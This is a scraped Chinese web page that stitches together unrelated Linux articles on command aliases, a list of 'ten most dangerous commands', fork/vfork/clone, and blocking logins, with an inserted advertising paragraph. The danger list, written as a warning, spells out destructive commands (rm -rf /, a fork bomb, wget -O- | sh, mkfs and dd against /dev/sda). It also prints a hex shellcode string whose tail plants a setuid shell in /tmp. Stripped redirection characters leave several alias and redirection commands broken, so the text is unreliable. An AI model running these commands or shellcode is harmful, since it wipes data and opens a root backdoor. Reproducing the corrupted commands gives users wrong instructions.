linux命令dot的简单介绍

LINUX命令问题~如何增加命令

可以用linux别名方式来新添加命令,这样可以根据个人使用习惯来运行命令。

创新互联是一家集网站建设,万柏林企业网站建设,万柏林品牌网站建设,网站定制,万柏林网站建设报价,网络营销,网络优化,万柏林网站推广为一体的创新建站企业,帮助传统企业提升企业形象加强企业竞争力。可充分满足这一群体相比中小企业更为丰富、高端、多元的互联网需求。同时我们时刻保持专业、时尚、前沿,时刻以成就客户成长自我,坚持不断学习、思考、沉淀、净化自己,让我们为更多的企业打造出实用型网站。

Linux系统的命令别名功能

命令别名功能

在管理和维护Linux系统的过程中,将会使用到大量命令,有一些很长的命令或用法经常被用到,重复而频繁地输入某个很长命令或用法是不可取的。这时可以使用命令别名功能将这个过程简单化。

1.系统定义的别名

通常情况下,系统中已经定义了一些命令别名,要查看已经定义的命令别名,可以使用alias命令:

#alias命令将输出所有已经定义的命令别名

# alias

alias cp='cp -i'

alias l.='ls -d .* --color=tty'

alias ll='ls -l --color=tty'

alias ls='ls --color=tty'

alias mv='mv -i'

alias rm='rm -i'

alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

从上面的结果中可以看出,当我们使用命令cp(复制文件命令)时,系统会用cp -i代替命令中的cp。除此之外,还定义了ls命令及其使用的颜色、移动文件命令mv、删除命令rm等。

用于设置系统别名的相关文件保存在/etc/profile.d/目录中(系统别名目录),使用以下方式可以查看:

#进入目录/etc/profile.d/

# cd /etc/profile.d/

#查看目录中的文件

# ls

colorls.csh glib2.sh krb5-workstation.csh lang.sh vim.csh

colorls.sh gnome-ssh-askpass.csh krb5-workstation.sh less.csh vim.sh

glib2.csh gnome-ssh-askpass.sh lang.csh less.sh which-2.sh

#查看文件less.csh的内容

# cat less.csh

#以下为less.csh的内容,其中定义了ls命令使用的颜色等别名

# less initialization script (csh)

if ( -x /usr/bin/lesspipe.sh ) then

setenv LESSOPEN "|/usr/bin/lesspipe.sh %s"

endif

# cat colorls.sh

# color-ls initialization

alias ll='ls -l' 2/dev/null

alias l.='ls -d .*' 2/dev/null

......

2.用户自定义别名

许多时候管理员都会按自己的使用习惯定义命令别名。例如让查看当前文件内容的命令兼容DOS中的查看文本命令type:

#为cat命令定义一个别名type

# alias type='cat'

#使用type命令查看文件alias.txt的内容

# type alias.txt

alias l.='ls -d .* --color=tty'

alias ll='ls -l --color=tty'

alias ls='ls --color=tty'

alias vi='vim'

alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

上面的命令中,先为cat命令定义了一个名为type的别名。当用户使用命令type时,系统会自动使用cat命令将其替代。

3.取消定义的别名

要取消已经定义好的命令别名,可以对别名使用unalias命令:

# unalias type

# type alias.txt

-bash:type: command not found

4.保存别名设置

当系统重新启动或用户重新登录时,使用alias命令定义的别名将会丢失。可以在系统别名目录中添加别名配置文件,但这种方式定义的别名对所有的用户都生效,通常不建议使用这种方法。

如果要定义全局别名,通常建议将命令添加到全局配置文件/etc/profile中。例如定义全局别名:

# echo "alias type='cat'"/etc/profile

这条命令将alias pg='cat'添加到文件/etc/profile中。

注意:在对/etc/profile这样的系统配置文件进行操作时,一定要谨慎,否则有可能会损坏系统。因此上面的命令中使用的是""而不是"",""表示将内容追加到文件结尾。

如果某个用户想要定义自己的命令别名,可以将命令添加到用户家目录中的文件.bash_profile中。例如要定义用户自己的别名:

# echo "alias vi='vim'"~/.bash_profile

Linux中最危险的10个命令

Linux中最危险的10个命令

对于编程人员或或者Linux系统管理员来说,操作Linux系统最常见的方法就是使用命令行。当然,Linux命令行佷有用、很高效,但有时候也很危险,尤其是在你误操作或者不确定你自己在正在做什么的时候。下面我就为大家盘点最危险是10个命令,一起来看看吧!

当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普 通用户身份下,破坏的只是自己的一亩三分地。

1. rm -rf 命令

rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm 命令的选项。

rm 命令在Linux下通常用来删除文件。

rm -r 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)

rm -f 命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数 只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来 要求删除确认,而-f则抑制了这个提示。)

rm -rf / : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)

rm -rf *: 强制删除当前目录的所有文件。

rm -rf . : 强制删除当前文件夹及其子文件夹。

从 现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用 ‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好 你在做什么!译者本人有着血泪的教训啊。)

2. :(){:|:};: 命令

这就是个fork 炸弹的实例。具体操作是通过定义一个名为 ‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

:(){:|:};:

哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~

3. 命令  /dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

4. mv 文件夹 /dev/null

这 个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止 数据恢复软件的救赎,所以,真正的`彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)

# mv /home/user/* /dev/null

上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

5. wget -O- | sh

上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)

6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱 动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设 备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁 灭性的,上面的数据都会被蒸发了。)

7. file

上列命令常用来清空文件内容(译注:通常也用于记录命令输出。 不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是 “”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

8. ^foo^bar

这个命令在“鲜为人知而又实用的 Linux 命令大全:”中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)

9. dd if=/dev/random of=/dev/sda

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)

10. 隐藏命令

下面的命令其实就是上面第一个命令 (rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。

这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

注意: 不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令,因为这将导致数据丢失或者系统崩溃。如果你想测试它们,请在虚拟机上运行。

;

linux下的命令都是干什么用的?

前三个和最后一个是两个类型。前三个主要是Linux用来创建新的进程(线程)而设计的,exec()系列函数则是用来用指定的程序替换当前进程的所有内容。所以exec()系列函数经常在前三个函数使用之后调用,来创建一个全新的程序运行环境。Linux用init进程启动其他进程的过程一般都是这样的。

下面说fork、vfork和clone三个函数。这三个函数分别调用了sys_fork、sys_vfork、sys_clone,最终都调用了do_fork函数,差别在于参数的传递和一些基本的准备工作不同。可见这三者最终达到的最本质的目的都是创建一个新的进程。在这里需要明确一下,Linux内核中没有独立的“线程”结构,Linux的线程就是轻量级进程,换言之基本控制结构和Linux的进程是一样的(都是通过struct task_struct管理)。

fork是最简单的调用,不需要任何参数,仅仅是在创建一个子进程并为其创建一个独立于父进程的空间。fork使用COW(写时拷贝)机制,并且COW了父进程的栈空间。

vfork是一个过时的应用,vfork也是创建一个子进程,但是子进程共享父进程的空间。在vfork创建子进程之后,父进程阻塞,直到子进程执行了exec()或者exit()。vfork最初是因为fork没有实现COW机制,而很多情况下fork之后会紧接着exec,而exec的执行相当于之前fork复制的空间全部变成了无用功,所以设计了vfork。而现在fork使用了COW机制,唯一的代价仅仅是复制父进程页表的代价,所以vfork不应该出现在新的代码之中。在Linux的manpage中队vfork有这样一段话:It is rather unfortunate that Linux revived this specter from the past. The BSD man page states: "This system call will be eliminated when proper system sharing mechanisms are implemented. Users should not depend on the memory sharing semantics of vfork() as it will, in that case, be made synonymous to fork(2)."

clone是Linux为创建线程设计的(虽然也可以用clone创建进程)。所以可以说clone是fork的升级版本,不仅可以创建进程或者线程,还可以指定创建新的命名空间(namespace)、有选择的继承父进程的内存、甚至可以将创建出来的进程变成父进程的兄弟进程等等。clone和fork的调用方式也很不相同,clone调用需要传入一个函数,该函数在子进程中执行。此外,clone和fork最大不同在于clone不再复制父进程的栈空间,而是自己创建一个新的。

关于Linux命令的介绍,看看《linux就该这么学》,具体关于这一章地址3w(dot)linuxprobe/chapter-02(dot)html

Linux终止前台进程的命令

1、首先,连接相应linux主机,进入到linux命令行状态下,等待输入shell指令。

2、其次,以终止进程号1984的nginx子进程为例,在linux命令行中输入:kill -9 1984。

3、最后,按下回车键执行shell指令,此时会看到进程号1984的nginx子进程被成功终止了。

Linux如何设置命令别名

1.系统定义的别名

通常情况下,系统中已经定义了一些命令别名,要查看已经定义的命令别名,可以使用alias命令:

# alias

alias cp='cp -i'

alias l.='ls -d .* --color=tty'

alias ll='ls -l --color=tty'

alias ls='ls --color=tty'

alias mv='mv -i'

alias rm='rm -i'

用于设置系统别名的相关文件保存在/etc/profile.d/目录中(系统别名目录),使用以下方式可以查看:

#进入目录/etc/profile.d/

# cd /etc/profile.d/

#查看目录中的文件

# ls

2.用户自定义别名

许多时候管理员都会按自己的使用习惯定义命令别名。例如让查看当前文件内容的命令兼容DOS中的查看文本命令type:

#为cat命令定义一个别名type

# alias type='cat'

#使用type命令查看文件alias.txt的内容

# type alias.txt

上面的命令中,先为cat命令定义了一个名为type的别名。当用户使用命令type时,系统会自动使用cat命令将其替代

3.取消定义的别名

要取消已经定义好的命令别名,可以对别名使用unalias命令:

# unalias type

# type alias.txt

-bash:type: command not found

4.保存别名设置

当系统重新启动或用户重新登录时,使用alias命令定义的别名将会丢失。可以在系统别名目录中添加别名配置文件,但这种方式定义的别名对所有的用户都生效,通常不建议使用这种方法。

如果要定义全局别名,通常建议将命令添加到全局配置文件/etc/profile中。例如定义全局别名:

# echo "alias type='cat'"/etc/profile

这条命令将alias pg='cat'添加到文件/etc/profile中。

注意:在对/etc/profile这样的系统配置文件进行操作时,一定要谨慎,否则有可能会损坏系统。因此上面的命令中使用的是""而不是"",""表示将内容追加到文件结尾。

如果某个用户想要定义自己的命令别名,可以将命令添加到用户家目录中的文件.bash_profile中。例如要定义用户自己的别名:

# echo "alias vi='vim'"~/.bash_profile

source ~/.bash_profile  最后,退出并重新登陆以使定义生效。

如何 阻挡 linux 未授权 命令

linux在创建用户是将用户默认的shell指定为/sbin/nologin即可阻止用户登录,命令为

useradd user -s /sbin/nologin,其中-s指定用户的默认shell

如果用户已经存在于系统,用root身份修改/etc/passwd文件,将要阻止的用户的shell改为/sbin/nologin,如下所示

user:x:502:502::/home/user:/sbin/nologin

关于Linux命令的介绍,看看《linux就该这么学》,具体关于这一章地址3w(dot)linuxprobe/chapter-02(dot)html.


本文名称:linux命令dot的简单介绍
URL链接:http://scjbc.cn/article/hecoed.html

其他资讯